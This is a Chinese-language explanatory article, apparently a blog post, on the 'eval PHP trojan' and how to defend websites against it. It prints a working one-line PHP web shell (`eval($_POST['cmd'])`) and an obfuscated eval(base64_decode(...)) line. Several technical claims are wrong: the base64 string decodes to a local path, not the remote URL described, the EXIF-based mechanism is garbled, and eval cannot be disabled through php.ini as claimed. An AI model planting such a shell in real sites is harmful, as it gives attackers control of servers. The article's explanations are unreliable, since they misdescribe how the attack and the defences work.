最近有個惡意軟件愈演愈烈,它的名字叫做 eval php木馬。這個木馬會嵌入被攻擊網站的一個 PHP 文件中,然后通過 eval 函數對惡意代碼進行執行。這讓攻擊者可以獲取被攻擊網站的管理員權限,并對網站上的數據和內容進行任意操作。下面我們就來詳細探討一下 eval php木馬是如何運作的。
eval() 函數是 PHP 語言的一個系統函數,其作用就是將一段字符串作為 PHP 代碼來執行。攻擊者可以通過對 PHP 代碼進行篡改,在被攻擊網站中添加類似下面這樣的代碼:
eval(base64_decode('L2hvbWUvaG9tZS9vYXBvcy85MC9maWxlLnR4dA=='));
這段代碼經過 base64 解碼后,變成了一個指向遠程惡意文件的地址。它其實就是告訴服務器先訪問那個文件,并將其中的代碼當做 PHP 代碼來執行。這種攻擊方式,避免了網站管理員對惡意代碼的發現和清除,因為攻擊者可以很容易地修改這個遠程文件中的代碼。而且,PHP 代碼通常不會被瀏覽器直接識別,因此在普通用戶眼中沒有任何的異常。
有一種變形的 eval php木馬比較常見,就是將惡意代碼放在圖片的 EXIF 中。攻擊者將網站上的一張圖片(比如圖片 URL 是:http://www.example.com/images/example.jpg)的 EXIF 數據區篡改為:
<?php eval($_POST['cmd']); ?>
攻擊者接著發送一個 POST 請求,將惡意字符串作為 cmd 參數發送到如下地址:
http://www.example.com/images/example.jpg
當被攻擊網站接收到這個請求時,會將這段字符串插入到圖片的 EXIF 中預留的位置,然后運行通過 eval 的插入的惡意代碼。由于圖片不是 PHP 文件,被攻擊的網站管理員很難察覺到這個木馬的存在。
那么,如何防范 eval php木馬的攻擊呢?下面我們提供一些可能有效的方法:
- 先要確保網站使用的是最新版本的 PHP,因為 PHP 團隊在更新版本中通常都會修復一些漏洞。
- 修改 PHP 配置文件 php.ini,禁用 eval。在禁用 eval 的同時,將 register_globals 和 allow_url_fopen 設置為 Off。
- 對文件上傳功能進行瞎子檢測,不允許任意文件上傳,并在上傳的過程中,對文件的類型以及擴展名進行嚴格檢查。
- 對需要用戶輸入的參數等內容進行過濾和驗證,嚴格限制特殊字符的輸入。同時,自定義錯誤信息,避免幫助攻擊者發現漏洞。
- 定期對網站進行數據備份,保證在被攻擊之后,盡快可以恢復到正常狀態。
總之,eval php木馬是一種非常危險的攻擊方式,它給網站安全與穩定帶來了很大的威脅。因此,網站管理員需要認真對待此類漏洞,并采取相應的措施,提高網站的安全性和防范能力。